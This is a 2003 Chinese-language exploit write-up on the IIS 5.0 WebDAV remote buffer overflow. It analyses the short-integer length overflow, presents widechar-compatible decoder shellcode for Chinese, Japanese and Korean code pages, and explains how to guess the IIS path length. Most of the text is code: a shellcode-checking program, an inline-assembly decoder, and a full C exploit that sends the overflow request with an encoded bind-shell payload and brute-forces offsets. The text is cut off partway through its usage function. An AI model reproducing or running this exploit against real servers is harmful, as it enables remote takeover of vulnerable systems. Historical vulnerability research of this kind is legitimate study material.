WebDav漏洞简单分析及通用exploit设计创建时间:2003-05-09 文章属性:原创 文章提交:eyas (ey4s_at_21cn.com) WebDav漏洞简单分析及通用exploit设计 ey4s<cooleyas@21cn.com> 2003-04-25 拜读了isno写的<<WebDav远程溢出漏洞分析>>、<<通用的攻击WebDAV漏洞的方法>>,以及Nankia写的 <<Webdav漏洞ISNO方法的补充>>之后,用他们发布的exploit、以及能在网上找到的exploit在我的一些测试 机上测试,有些成功,有些不成功。于是便想自己调试一下。在后来的调试过程中,参考了大量资料,特别 是yuange所写的<<widechar的字符串缓冲溢出攻击技术>>。在这过程中我学到了很多东西,自己也有些心 得体会,其中可能有不少错误的地方,于是便想写下来,一来请各位高手多多指点,二来可以当做笔记供日 后参考(我记性不好:-))。 建议各位在阅读了以上提及的文章后再继续往下看。以下测试是在windows 2000 简体中文版本进行的。 -=-=-=- 第一部分 漏洞简单分析 -=-=-=- webdav溢出具体是怎么发生的我就不罗嗦了,请大家参考isno所写的文章,这里只简述一下。我们向 IIS发送如下数据: SEARCH /O HTTP/1.0 Host:xxx Content-Type: text/xml Content-length: 3 xxx IIS把我们请求的文件名转换成UNICODE,在前面加上路径,然后作为文件名参数传给了 GetFileAttributesExW(先加上路径再转换成UNICODE,还是转换成UNICODE再加路径,我没有仔细看,但这 并不重要)。假如IIS根目录是c:\inetpub\wwwroot,那么传递给GetFileAttributesExW的文件名就是 "\\?\c:\inetpub\wwwroot\O"的UNICODE形式,如下: 0197efe0 5c 00 5c 00 3f 00 5c 00-63 00 3a 00 5c 00 69 00 \.\.?.\.c.:.\.i. 0197eff0 6e 00 65 00 74 00 70 00-75 00 62 00 5c 00 77 00 n.e.t.p.u.b.\.w. 0197f000 77 00 77 00 72 00 6f 00-6f 00 74 00 5c 00 4f 00 w.w.r.o.o.t.\.O. 漏洞引用关系如下: GetFileAttributesExW |__RtlDosPathNameToNtPathName_U |__RtlInitUnicodeString <-buff超过65535就会导致短整型数溢出 |__在这后面的代码进行字符copy的时候就会触发堆栈溢出 我们来看看UNICODE_STRING结构的定义: typedef struct _UNICODE_STRING { USHORT Length; <--这长度指的是buffer的字节数,并不是unicode字符的个数 USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING *PUNICODE_STRING; 从上面的分析我们可以看到,事实上只要我们保证($FileName+$IIS_Path)*2 > 65535就可以触发 存储buff长度的短整型数溢出,其中$FileName是我们提交的文件名(非UNICODE形式)。 -=-=-=- 第二部分 关于widechar的字符串 -=-=-=- IIS在接收到我们发送的buff之后,会调用MultiByteToWideChar函数把我们的buff转换成widechar, 即UNICODE,用的CodePage是系统默认的CodePage,在简体中文系统上是936。在转换过程中,不符合 相应code page widechar范围的双字节字符会被替换掉,单字节字符会被转换成"\xXX\x00"的形式。 怎么判断字符是单字节字符还是双字节字符? 简体中文、繁体中文、韩文、日文都是双字节语言, 即double-byte character set (DBCS)。上述四种语言双字节中的第一个字节都大于等于0x80。所以 某个字符如果大于等于0x80的话,那么后面就还有一个字节的字符一起跟这个字符组成一个完整"字符"。 不信的话,可以写程序验证一下,调用一个API就可以了。 The IsDBCSLeadByteEx function determines whether a specified byte is a lead byte that is, the first byte of a character in a double-byte character set (DBCS). BOOL IsDBCSLeadByteEx( UINT CodePage, // identifier of code page BYTE TestChar // byte to test ); 假如我们发送的字符是"\x61\x81\x81"的话,用简体中文的CodePage经过MultiByteToWideChar函数 转换后就成了"\x61\x00\xXX\xXX",当然,前提是"\x81\x81"转换成Unicode后符合简体中文的wide char范围。所以我们要确定shellcode在经过MultiByteToWideChar转换后,符合相应code page的wide char范围。 反复拜读了yuange的文章<<widechar的字符串缓冲溢出攻击技术>>后,由衷佩服yuange技术之高! 向他致敬! yuange在他的文章中提出: (1)把real shellcode编码成可见字符,即小于0x80。这样在经过MultiByteToWideChar转换后就成为 "\xXX\x00",字符不会被改变。 (2)再精心编写一段符合相应code page widechar范围的代码,用这些代码来解码上述经过编码的 real shellcode。 yuange在那篇文章里面还提供了一段解码shellcode的代码,这些代码符合简体中文WideChar范围。 后来台湾网友Nankia说这些代码在繁体中文上面无法使用,然后Nankia自己又写了个符合繁体中文 widechar范围的解码代码。 后来我花了不少时间,在yuange发布的代码的基础上,修改了一些地方,写了一段符合简体中文、繁体 中文、韩文、日文 widechar范围的解码代码。以下是我测试这些解码代码是否符合相应widechar范围的 c代码。不知yuange和Nankia是怎么调试解码代码的?? -=-=-=-=-=-=-=-=-=-=-=-=-=-= CheckCode.c -=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-==-=-=-=-= #include <windows.h> #include <stdio.h> #define CODE_CN 936// ANSI/OEM - Simplified Chinese (PRC, Singapore) #define CODE_TW 950// ANSI/OEM - Traditional Chinese (Taiwan; Hong Kong SAR, PRC) #define CODE_JP 932// ANSI/OEM - Japanese, Shift-JIS #define CODE_Korean 949// ANSI/OEM - Korean (Unified Hangeul Code) int g_iCodePageList[]={936,950,932,949}; //如果为合法的wide char范围,则此byte值为1,否则为0 char *g_szWideCharShort; void checkcode(unsigned char *shellcode,int iLen); void printsc(unsigned char *sc, int len); BOOL MakeWideCharList(); void SaveToFile(); void shellcodefnlock(); #define FNENDLONG 0x08 void main() { char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; unsigned char temp; unsigned char *shellcodefnadd; unsigned char shellcode[512]; int len,k; /* 定位 shellcodefnlock的汇编代码 */ shellcodefnadd=shellcodefnlock; temp=*shellcodefnadd; if(temp==0xe9) { ++shellcodefnadd; k=*(int *)shellcodefnadd; shellcodefnadd+=k; shellcodefnadd+=4; } for(k=0;k<=0x500;++k) if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break; /* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */ len = 2*wcslen(shellcodefnadd+k+8); memcpy(shellcode,shellcodefnadd+k+8,len); if(!MakeWideCharList()) return; //SaveToFile(); /*检测shellcode是否在合法的wide char范围*/ checkcode(shellcode, len); //printsc(shellcode, len); } BOOL MakeWideCharList() { unsigned char wbuff[4]; unsigned char wbuff2[4]; unsigned char buff[4]; int i,j,ret,k; g_szWideCharShort = (char *)malloc(65536); memset(g_szWideCharShort, 1 , 65536); for(k=0;k<sizeof(g_iCodePageList)/sizeof(int);k++)//for 1 { printf("UseCodePage=%d\n",g_iCodePageList[k]); for(i=0;i<256;i++)//for 2 { for(j=0;j<256;j++)//for 3 { if((i==0) && (j==0)) j=1; memset(buff, 0, 4); memset(wbuff2, 0, 4); wbuff[0]=(BYTE)i; wbuff[1]=(BYTE)j; wbuff[2]=(BYTE)'\0'; wbuff[3]=(BYTE)'\0'; if(!(ret = WideCharToMultiByte(g_iCodePageList[k], 0, (unsigned short *)wbuff, 1, buff, 2, 0,0))) { printf("WideCharToMultiByte error:%d\n", GetLastError()); return FALSE; } if(!(ret = MultiByteToWideChar(g_iCodePageList[k], 0, buff,strlen(buff), (unsigned short *)wbuff2, 1))) { printf("MultiByteToWideChar error:%d %d\n", GetLastError(), ret); return FALSE; } //判断经过两次转换后是否改变,只要在任何一种code page改变都视为非法wide char范围 if(*(DWORD *)wbuff != *(DWORD *)wbuff2) g_szWideCharShort[(BYTE)wbuff[0]*0x100 + (BYTE)wbuff[1]] = (BYTE)'\0'; } //getchar(); }//end of for 2 }//end of for 1 return TRUE; } void SaveToFile() { unsigned char *g_pStr; FILE *f; int i,j,k; i=0; /*将允许的wide char范围保存在文本文件,便于调试时查询*/ g_pStr = (unsigned char *)malloc(65536*6 +200); memset(g_pStr, 0, 65536*6+200); for(k=0;k<sizeof(g_iCodePageList)/sizeof(int);k++)//for 1 i += sprintf(g_pStr+i, "UseCodePage=%d\n",g_iCodePageList[k]); for(j=0;j<65536;j++) if(g_szWideCharShort[j] != (BYTE)'\0') i += sprintf(g_pStr+i, "%.4X\n", j); f = fopen("c:\\w.txt", "w"); fprintf(f, "%s", g_pStr); fclose(f); free(g_pStr); } void printsc(unsigned char *sc, int len) { int l; for(l=0;l<len;l+=1) { if(l==0) printf("\""); if((l%16 == 0) && (l!=0))printf("\"\n\""); printf("\\x%.2X", sc[l]); if(l==len-1) printf("\""); } printf("\n\n"); for(l=0;l<len;l+=2) { if(l==0) printf("\""); if((l%16 == 0) && (l!=0))printf("\"\n\""); printf("%%u%.2X%.2X", sc[l+1], sc[l]); if(l==len-2) printf("\""); } } void checkcode(unsigned char *sc,int len) { int l; /*检测*/ printf("\nstart check shellcode\n"); for(l=0;l<len;l+=2) { printf("shellcode %.2X%.2X at sc[%.2d] sc[%.2d] ", sc[l], sc[l+1], l, l+1); if(g_szWideCharShort[(BYTE)sc[l]*0x100 + (BYTE)sc[l+1]] == (BYTE)'\0') printf("not "); printf("allow.\n"); } printf("Done.\n"); } /*注意:为了符合wide char范围,NOPCODE与DATABASE与yuange的不一样*/ /*相应对shellcode进行编码时要注意以此为准*/ #define NOPCODE 0x4f//dec esi 0x4f='O' 0x4E='N' #define OFFSETNUM 0x8 #define DATABASE 0x64 void shellcodefnlock() { _asm { nop nop nop nop nop nop nop nop /*start here*/ dec edi//无用代码,为迁就指令范围 4f jnz unlockdataw//75 05 jz unlockdataw//74 03 dec esi//无用代码,为迁就指令范围 4e <--永远不会执行到此 /*将toshell放在前面是为了方便后面调试,可以一点一点往后调试*/ /*不然jz toshell的时候,如果是往后跳转,而且后面的偏移没确定的话,就很难调准*/ /*符合wide char范围的代码了*/ toshell: /*此时esp存放的是解码后的shellcode起始地址,也即解码前shellcode的起始地址*/ ret//c3 dec edi//无用代码,为迁就指令范围 4f <--永远不会执行到此 unlockdataw: /*取得我们的decoder的起始地址*/ push ebx//53 /*可以通用 push esp */ /*地址保存在esi*/ NOP pop esi//5e /*定位从哪里开始解码*/ loopload: /*读取两个字节内容,以esi为索引*/ lodsw//66 ad dec esi//无用代码,为迁就指令范围 4e inc esi//无用代码,为迁就指令范围 46 dec edi//无用代码,为迁就指令范围 4f inc ebx//无用代码,为迁就指令范围 43 /*判断是否已经达到待解码的字符处*/ cmp ax,0x6F97 // SHELLDATA 66 3d 97 6F | NOP//无用代码,为迁就指令范围 90 | push ecx//无用代码,为迁就指令范围 51 | NOP//无用代码,为迁就指令范围 90 |------>这边不能用影响标志位的指令 pop ecx//无用代码,为迁就指令范围 59 | jnz loopload//75 F0 | push ebx//无用代码,为迁就指令范围 53 /*将待解码字符的起始地址传递至edi,解码后的字符也从此起始地址存放*/ push esi//56 pop edi//5f dec edx//无用代码,为迁就指令范围 4a /*保存起始地址,注意后面push pop操作要均衡*/ /*不然toshell中的ret指令就不能返回到解码后的shellcode了*/ push edi//57 inc ebx//无用代码,为迁就指令范围 43 /*开始解码*/ looplock: /*读取两个字节内容,以esi为索引*/ lodsw//66 ad push eax//无用代码,为迁就指令范围 50 -------<<3>> inc ebx//无用代码,为迁就指令范围 43 /*判断是否已经全部解码完毕*/ cmp ax,NOPCODE// 66 3d 4f 00 NOP pop ecx//无用代码,为迁就指令范围 59 --------<<3>>还原堆栈操作 jz toshell//74 d5 dec esi//无用代码,为迁就指令范围 4e ------<<1>> /*解码*/ sub al,DATABASE//2c 64 /*保存至ecx*/ push eax//50 pop ecx//59 inc esi//无用代码,为迁就指令范围 46 -------<<1>>还原esi值 dec edi//无用代码,为迁就指令范围 4f -------<<2>> inc edi//无用代码,为迁就指令范围 47 -------<<2>> NOP //无用代码,为迁就指令范围 90 inc ebx//无用代码,为迁就指令范围 43 /*读取两个字节,以esi为索引*/ lodsw//66 AD push eax//无用代码,为迁就指令范围 50 -------<<4>> dec ebx//无用代码,为迁就指令范围 4b pop eax//无用代码,为迁就指令范围 58 -------<<4>> /*解码*/ sub al,DATABASE//2c 64 /*--------------组合解码后的内容--------------------*/ dec edx//无用代码,为迁就指令范围 4a push edi//57 保存edi,因为后面要用到 ----->>[1] /*将ecx值转移到edi*/ push ecx//51 NOP//无用代码,为迁就指令范围 90 NOP//无用代码,为迁就指令范围 90 pop edi//5f /* edi*0x10 */ add edi,edi//03 ff add edi,edi add edi,edi add edi,edi /*将第二位解码的结果(eax) + 第一位(edi*0x10),运算得到最后结果*/ xchg eax,ecx//91 add ecx,edi//03 cf xchg eax,ecx//91 /*恢复edi值*/ NOP//无用代码,为迁就指令范围 90 pop edi//5f -------->>[1] /*将解码后的内容保存,以edi为索引*/ stosb//aa NOP//无用代码,为迁就指令范围 90 inc ecx//无用代码,为迁就指令范围 41 jz looplock//74 ca | NOP//无用代码,为迁就指令范围 90 | push ecx//无用代码,为迁就指令范围 51 |--->不能用会影响标志位的指令 NOP//90 | pop ecx//无用代码,为迁就指令范围 59 | jnz looplock//75 c4 dec esi//无用代码,为迁就指令范围 4e 这代码永远不会执行 /*解码代码结束标记*/ _emit(0x97) _emit(0x6F) /**/ _emit(0x0) _emit(0x0) _emit(0x0) _emit(0x0) NOP NOP NOP NOP NOP NOP NOP NOP } } -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-= -=-=-=- 第三部分 IIS Path长度的问题 -=-=-=- webdav漏洞溢出点本来是固定的,但因为有IIS Path长度不确定这个问题,事实上这就成了溢出点 不确定的漏洞了。 据我的理解,IIS Path长度造成溢出点不确定这种问题 ,我们可以用两种办法来解决: (1)采用yuange提出的半连续覆盖方法。不管IIS Path有多长,也不管它精确的溢出点,最多只要 猜测8次,让我们的jmp addr对准要覆盖的地方就可以了。事实上因为我们发送的字符要转换成为UNICODE, 所以最多只需要猜测四次就可以了。 优点:不需知道精确溢出点,只需猜测4次;缺点:可能要付出搞DOWN 3次IIS的代价。 (2)猜测IIS Path的长度。我们要精确的控制发送的buff的长度,确定在path长度没有猜中的情况下不会 使IIS触发溢出。我们发送的buff结构如下: ($guess_path_len + )$nop_for_对齐_ret + $jmpover + $ret + $shellcode + $nop 我们要保证上述buff在path没猜准的时候不溢出,但一但准确,不仅要使他溢出,而且要刚好让我们的 jmp addr覆盖在SEH或ret。这种情况,IIS path的长度我们只能从大往小猜。因为: 假如path实际长度是20,我们猜是30,咱们发送的buff长度是 65536-30=65506,实际上此时服务 器处理的buff就是65506+20=65526字节了,溢出没发生。当我们从30猜到21的时候,溢出都不会发生,但 到了20的时候,溢出发生了,我们的jmp addr也刚好覆盖在我们指定的位置。 反过来从小往大猜的时候,不管path猜没猜准,都会触发IIS溢出。 后来测试的时候发现,并非buff超过65535就一定会触发堆栈溢出,但超过65535会导致短整型数溢出 这是肯定的。我们看看相关代码: ntdll!RtlDosPathNameToNtPathName_U+3A: 77f8b036 push dword ptr [ebp+0x8] 77f8b039 lea eax,[ebp-0x30] 77f8b03c push eax 77f8b03d call ntdll!RtlInitUnicodeString (77f83c6d) 77f8b042 cmp word ptr [ebp-0x30],0x8//判断长度是否小于等于8,是的话跳转 77f8b047 jbe ntdll!RtlDosPathNameToNtPathName_U+0x71 (77f8b056) 77f8b049 mov eax,[ebp-0x2c]//ebp-0x2c存放的是buff的地址 77f8b04c cmp word ptr [eax],0x5c//判断buff的第一位是否为'\',是的话跳转 77f8b050 je ntdll!RtlDosPathNameToNtPathName_U+0x56 (77f84049) 77f8b056 and byte ptr [ebp-0x64],0x0 77f8b05a lea eax,[ebp-0x270] 因为传递给GetFileAttributesExW的文件名都是"\\?\c:\xx"形式,所以在上述77f8b050中肯定会跳转。 一跳转的话,就不能触发堆栈溢出了,原因?没有继续跟踪,有兴趣的朋友自己去跟踪吧。:) 所以我们要让77f8b047处的代码跳转,即让UNICODE_STRING结构中的Length小于等于8。也就是说buff 长度要介于65536、65544之间。因buff是UNICODE形式,所以能触发堆栈溢出的buff长度就只有如下几个: 65536,65538,55540,65542,65544。后来发现buff长度为65536,即UNICODE_STRING结构中的Length为 0的时候,也不能触发堆栈溢出。所以,buff长度必须是65538、55540、65542、65544之一才会触发堆栈 溢出。 有了这种长度限制,我们猜测IIS Path的时候,不但可以从大往小猜,而且可以从小往大猜,在我的 exploit中就是采用了后者。具体怎么猜我就不罗嗦了。 -=-=-=- 第四部分 exploit -=-=-=- 现在我们已经有了如下资源: <>简体中文、繁体中文、日文、韩文系统上通用的解码代码 <>知道了怎么样精确的猜测出IIS Path长度,并且在猜中同时将jmp addr精确的覆盖在指定的地方。 我们还需要: <>符合上述四种平台wide char范围的jmpover代码。这个简单。 <>jmp addr地址。在我的exploit中采用的是覆盖SEH,所以jmpaddr可以用call ebx, 或push ebx;ret,前者容易在系统dll中找到,但后者就比较少了。注意:jmpaddr地址也必须符合相应平台 的wide char范围。找出各种平台通用的地址很难,至少我没有找到。但是我发现简体中文、繁体中文中某些 系统DLL是一样的,所以能找到相同的地址。在日文、韩文中也有某些系统DLL是一样的,也能找到相同的 地址。 -=-=-=-=-=-=-=-=-=-=-=-=-=-= xWebDav.c -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-==-=-=-=-= #include <winsock2.h> #include <windows.h> #include <stdio.h> #pragma comment(lib,"ws2_32") #define NOPCODE 0x4F//0x4F//'O' #define BUFFLEN 65536+8//传递给GetFileAttribeExW的buff长度 #define OVERPOINT 0x260//溢出点-0x14 SEH-0x4 #define MaxTry 8//连接失败后重试次数 #define DefaultOffset 23 #define RecvTimeOut 30000//ms, 30s #define StartOffset 6 #define EndOffset 80 #define RetAddrNum 12//可用的ret addr数量 /*严重错误,程序退出*/ #define ERROR_OTHER 0//other error #define ERROR_METHOD_NOT_SUPORT 1//no valu #define ERROR_NOT_IIS 2//not iis /*继续猜测offset*/ #define ERROR_RESOURCE_NOTFOUND 3//offset error #define ERROR_BAD_REQUEST 4//offset error? /*成功了?*/ #define ERROR_RECV_TIMEOUT 5//success? /*尝试不同的ret addr*/ #define ERROR_CONNECT_RESET 6//offset ok?但ret addr错误 #define ERROR_CONNECT_FALIED 7//can't connect //[100 bytes] unsigned char decoder[] = "%u0000%u7409%u4E07%u584A%u9050%u4FC3%u9053%u665E" "%u4EAD%u4F46%u6643%u973D%u906F%u9051%u7559%u53F0" "%u5F56%u574A%u6643%u50AD%u6643%u4F3D%u9000%u7459" "%u4ED5%u642C%u5950%u4F46%u9047%u6643%u50AD%u584B" "%u642C%u574A%u9051%u5F90%uFF03%uFF03%uFF03%uFF03" "%u0391%u91CF%u5F90%u90AA%u7441%u90CA%u9051%u7559" "%u4EC4%u6F97"; /*绑定cmd的shellcode是从isno的exploit上copy过来的*/ unsigned char xShellCode[]= "mdrodgiqrodirlslsssssslgpieimdmdmdlopiggpmjjomeddgidldgdmkhdrfsnkrlrmimkmkpqephq" "ehkpmdsqjlphsggjmkmkmkmkpksgerofmkmkmkmknhhpfpmkmkkkrdkshomjmkmkejjpmkmkjlflmleh" "immjmkmkejihmkmkmjmkseejnpqnpqrfkdnhikepqhnomhihseejnspkqfrfhrehikrsepnkmhjhepqm" "momhipejnrqpqfpiqmrfifejrrmgqfqonhnirffonhjlepqeokmhihepipmhmsejnrqdsfrgpkrfmrej" "rrmgrislshqjrgmeqdehikmgkpkfmhjlmhjpeppeogmhjqnhhiseepldepjqepqelkqsmhjsnhirepil" "mhirmhirmhqmlomhipepnrmhjpkrsrmjmkmkpmedjdephdnhikjdhkepisjiglernienqimspipkphjl" "lipqerqimgenrilfpipejlpimgpqnhikgoegikrfjrnhireqmmegirrgmrpipephjllipqgpkiksqepi" "pejlpimgpqephsnhikgoegikrfjrnhireqmmekjrmirgmrpipephjllipqgpkikdnhikpkqkpkqkpkjl" "pdksdhsqlkpephjlpdkosqmiphjlpdjknhikpdpkfkmogppsgpqkgpplqspkpdpegnpejlpdikqspkpd" "gnpegnpejlpdikqsfkqgermdpdjlpdignhikepqejgerqdnoerqdqkepmeerqdnsnhiksefsmjmjerqd" "oopdpdnhikpkpkpkqkpkqspkpkgnpenhikpkjlpdisjlrejkjlpdiojlrejojlpdioqspkpkphjlpdjg" "ephsnhikfgmgpkijksmgpkjlpdhgepjknhikepisffmgpkpkpdpjpejlrdgsjlpdhkehnlmjrooinhik" "pkpdjlndpejlrdgsjlpdhompikrgolnhikpkjlndpephjlpdjssqpkjlpdkkkpisnhikpkfgmgpkpeph" "jlpdjopdnhirpjpkpejlrdgojlpdhssqpkjlpdkkkpgqpkjlpdkgkpjmpspkerqijiihepqgogmomffs" "mkmkmkidmkrspenglinhikihkpkokskijnjljlksdijmjljlqppekdrdohekkdrdqoslsjsgqosrsiri" "sjrirrqjmkqpqfpiqmqfqonhnimkqhrisfsjrgsfpksrrksfmkqdsfrgphrgsjrirgrfrkqrsmseslqj" "mkqhrisfsjrgsfpkrislshsfrhrhqjmkqhsoslrhsfqssjsmsgsosfmkpksfsfspqmsjsnsfsgpksrrk" "sfmkqdsoslsisjsoqjsososlshmkpdrisrrgsfqesrsosfmkpisfsjsgqesrsosfmkphsosfsfrkmkqf" "rssrrgpkrislshsfrhrhmkmkpdphqlqhqpnhnimkrhslshspsfrgmksisrsmsgmksosrrhrgsfsmmksj" "shshsfrkrgmkrhsfsmsgmkrisfshremkmimklmsomkmkmkmkmkmkmkmkmkmkmkmkshsnsgomsfrssfmk" "jljljljldd"; unsigned char jmpover[]="%u9041%u6841";//0x41 inc ecx , 0x68 push num32 unsigned int g_iConnectError=0; /*恕不提供此处数据*/ unsigned int g_iRetAddrList[3][4]={ { 0,//call ebx addr at xx.dll in sp0_cn_tw,符合(cn、tw) wide char编码 0,//call ebx addr at xx.dll in sp1_cn_tw,符合(cn、tw) wide char编码 0,//call ebx addr at xx.dll in sp2_cn_tw,符合(cn、tw) wide char编码 0//call ebx addr at xx.dll in sp3_cn_tw,符合(cn、tw) wide char编码 }, { 0,//call ebx addr at xx.dll in sp0_jp_ko,符合(jp,ko) wide char编码 0,//call ebx addr at xx.dll in sp1_jp_ko,符合(jp,ko) wide char编码 0,//call ebx addr at xx.dll in sp2_jp_ko,符合(jp,ko) wide char编码 0//call ebx addr at xx.dll in sp3_jp_ko,符合(jp,ko) wide char编码 }, { 0,//call ebx addr at xx.dll in sp0_en,符合(cn、tw、jp、KO) wide char编码 0,//call ebx addr at xx.dll in sp1_en,符合(cn、tw、jp、KO) wide char编码 0,//call ebx addr at xx.dll in sp2_en,符合(cn、tw、jp、KO) wide char编码 0//call ebx addr at xx.dll in sp3_en,符合(cn、tw、jp、KO) wide char编码 } }; int SendBuffer(char *ip, int iPort, unsigned char *buff, int len); int MakeExploit(unsigned int retaddr, int offset, char *host, char *ip, int iPort); void usage(); void main(int argc, char **argv) { int i, iRet,k,iOsType, iSP; unsigned int iOffset,iPort,iStartOffset, iEndOffset,iCorrectOffset; char *ip,*host; unsigned int iRetAddrList[RetAddrNum], iRetAddrNum; memset(iRetAddrList, 0, sizeof(iRetAddrList)); iRetAddrNum=0; ip=NULL; host=NULL; iPort=80; iOsType=-1; iSP=-1; iOffset=0; iCorrectOffset=0; if(argc<3) { usage(); return; } for(i=1;i<argc;i+=2) { if(strlen(argv[i]) != 2) { usage(); return; } //检查是否缺少参数 if(i == argc-1) { usage(); return; } switch(argv[i][1]) { case 'i': ip=argv[i+1]; break; case 'h': host=argv[i+1]; break; case 'p': iPort=atoi(argv[i+1]); break; case 't': iOsType=atoi(argv[i+1]); break; case 's': iSP=atoi(argv[i+1]); break; case 'o': iOffset=atoi(argv[i+1]); break; } } //检查参数 if(!ip) { usage(); return; } if(!host) host=ip; if(!iOffset) { iStartOffset = StartOffset; iEndOffset = EndOffset; } else { if((iOffset < StartOffset) || (iOffset > EndOffset)) { usage(); return; } else { iStartOffset = iOffset; iEndOffset = iOffset; } } if((iOsType > 2) || (iSP > 3)) { usage(); return; } //brute force if((iOsType == -1) && (iSP == -1)) { memcpy(iRetAddrList, g_iRetAddrList, sizeof(iRetAddrList)); iRetAddrNum = sizeof(iRetAddrList)/sizeof(int); } if((iOsType == -1) && (iSP != -1)) { for(i=0;i<3;i++) iRetAddrList[iRetAddrNum++] = g_iRetAddrList[i][iSP]; } if((iOsType != -1) && (iSP == -1)) { for(i=3;i>=0;i--) iRetAddrList[iRetAddrNum++] = g_iRetAddrList[iOsType][i]; } if((iOsType != -1) && (iSP != -1)) iRetAddrList[iRetAddrNum++] = g_iRetAddrList[iOsType][iSP]; printf( "IP\t\t:%s\n" "Host\t\t:%s\n" "Port\t\t:%d\n" "Offset\t\t:%d-%d\n" "iOffset\t\t:%d\n" "OsType\t\t:%d\n" "SP\t\t:%d\n" "RetAddrNum\t:%d\n",ip,host,iPort,iStartOffset, iEndOffset, iOffset,iOsType, iSP,iRetAddrNum); for(i=0;i<iRetAddrNum;i++) printf("%.8X ", iRetAddrList[i]); printf("\nStart exploit[y/n]:"); if (getchar() == 'n') return; k=0; for(i=iStartOffset;i<=iEndOffset;i++) { //如果是猜测offset,先试23 if(i==StartOffset) i=DefaultOffset; else if((i==DefaultOffset) && (iOffset==0)) continue; printf("try offset:%d\tuse retaddr:0x%.8X\n", i, iRetAddrList[k]); iRet = MakeExploit(iRetAddrList[k], i, host, ip, iPort); switch(iRet) { case ERROR_NOT_IIS: case ERROR_METHOD_NOT_SUPORT: case ERROR_OTHER: exit(1); break; case ERROR_CONNECT_FALIED: printf("can't connect to %s:%d", ip, iPort); //第一次就连接不上,或超出最大重试次数 if( (i==DefaultOffset) || (g_iConnectError > MaxTry) ) { printf(", exit.\n"); exit(1); } printf(", wait for try again.\n"); Sleep(5000); //same offset、retaddr try again i--; break; case ERROR_CONNECT_RESET: iCorrectOffset = i; break; case ERROR_RECV_TIMEOUT: printf("recv buff timeout.Maybe success?\n"); exit(1); break; } if(i==DefaultOffset) i=6; if(iCorrectOffset) break; //getchar(); } if(iCorrectOffset) printf( "-=-= we got correct offset:%d -=-=\n" "-=-= but retaddr %.8X error -=-=\n", iCorrectOffset, iRetAddrList[k]); else return; if(iRetAddrNum<2) return; //尝试其他retaddr for(k=1;k<iRetAddrNum;k++) { Sleep(5000); printf("use offset:%d\ttry retaddr:0x%.8X\n", iCorrectOffset, iRetAddrList[k]); iRet = MakeExploit(iRetAddrList[k], iCorrectOffset, host, ip, 80); switch(iRet) { case ERROR_CONNECT_FALIED: printf("can't connect to %s:%d", ip, iPort); if(g_iConnectError > MaxTry) { printf(", eixt.\n"); exit(1); } else printf(", wait for try again.\n"); k--; break; case ERROR_CONNECT_RESET: printf("retaddr error, wait for try another.\n"); break; case ERROR_RECV_TIMEOUT: printf("recv buff timeout.Maybe success?\n"); exit(1); break; default: exit(1); } } printf("Done.\n"); } int SendBuffer(char *ip, int iPort, unsigned char *buff, int len) { struct sockaddr_in sa; WSADATA wsd; SOCKET s; int iRet, iErr; char szRecvBuff[0x1000]; int i; iRet = ERROR_OTHER; memset(szRecvBuff, 0, sizeof(szRecvBuff)); __try { if (WSAStartup(MAKEWORD(1,1), &wsd) != 0) { printf("WSAStartup error:%d\n", WSAGetLastError()); __leave; } s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(s == INVALID_SOCKET) { printf("\nCreate socket failed:%d",GetLastError()); __leave; } //set socket recv timeout i=RecvTimeOut; setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,&i,sizeof(i)); sa.sin_family=AF_INET; sa.sin_port=htons(iPort); sa.sin_addr.S_un.S_addr=inet_addr(ip); iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa)); if(iErr == SOCKET_ERROR) { iRet = ERROR_CONNECT_FALIED; g_iConnectError++; __leave; } //reset flag g_iConnectError=0; iErr = send(s, buff, len,0); if(iErr == SOCKET_ERROR) { printf("send buffer error:%d.\n", WSAGetLastError()); __leave; } iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0); if(iErr == SOCKET_ERROR) { if(WSAGetLastError() == WSAETIMEDOUT) iRet = ERROR_RECV_TIMEOUT; if(WSAGetLastError() == 10054) iRet = ERROR_CONNECT_RESET; //printf("recv buffer error:%d.\n", WSAGetLastError()); __leave; } if(strstr(szRecvBuff, "Microsoft-IIS/5.0") == NULL) { iRet = ERROR_NOT_IIS; printf("Target not iis.\n"); __leave; } if(strstr(szRecvBuff, "404 Resource Not Found")) { iRet = ERROR_RESOURCE_NOTFOUND; __leave; } if(strstr(szRecvBuff, "400 Bad Request")) { iRet = ERROR_BAD_REQUEST; __leave; } if(strstr(szRecvBuff, "501 Not Supported")) { iRet = ERROR_METHOD_NOT_SUPORT; printf("501 Not Supported\n"); __leave; } } __finally { if(s != INVALID_SOCKET) closesocket(s); WSACleanup(); } return iRet; } // //offset为IIS PATH的长度 // int MakeExploit(unsigned int retaddr, int offset, char *host, char *ip, int iPort) { unsigned char jmpaddr[16]; unsigned char *pStr, szNOP[4]; int i, iNop, iRet; szNOP[0]=NOPCODE; szNOP[1]='\0'; //转换字符格式 sprintf(jmpaddr,"%%u%.2X%.2X%%u%.2X%.2X", retaddr>>8&0xFF, retaddr&0xFF, retaddr>>24&0xFF, retaddr>>16&0xFF); //分配内存 pStr = (unsigned char *)malloc(40000); //组合buffer strcpy(pStr, "SEARCH /"); //填充NOP CODE IISPATH+NOP = 0x260/2 for(i=offset;i<OVERPOINT/2;i++) strcat(pStr, szNOP); //jmp to decoder strcat(pStr, jmpover); //jmp addr strcat(pStr, jmpaddr); //decode real shellcode strcat(pStr, decoder); //real shellcode strcat(pStr, xShellCode); //计算后面还需填充多少个NOP CODE iNop = (BUFFLEN-OVERPOINT-8-strlen(decoder)/3-strlen(xShellCode)*2)/2; //填充NOP CODE for(i=0;i<iNop;i++) strcat(pStr, szNOP); strcat(pStr, " HTTP/1.0\n" "Content-Type: text/xml\n" "Content-length:8\n\n" "OOOOOOOO\n\n"); //发送我们精心构造的buff iRet = SendBuffer(ip, iPort, pStr, strlen(pStr)); //释放内存 free(pStr); return iRet; } void usage() { printf( "\nxWebDav -> IIS5.0 webdav remote buffer overflow exploit\n" "Writen by 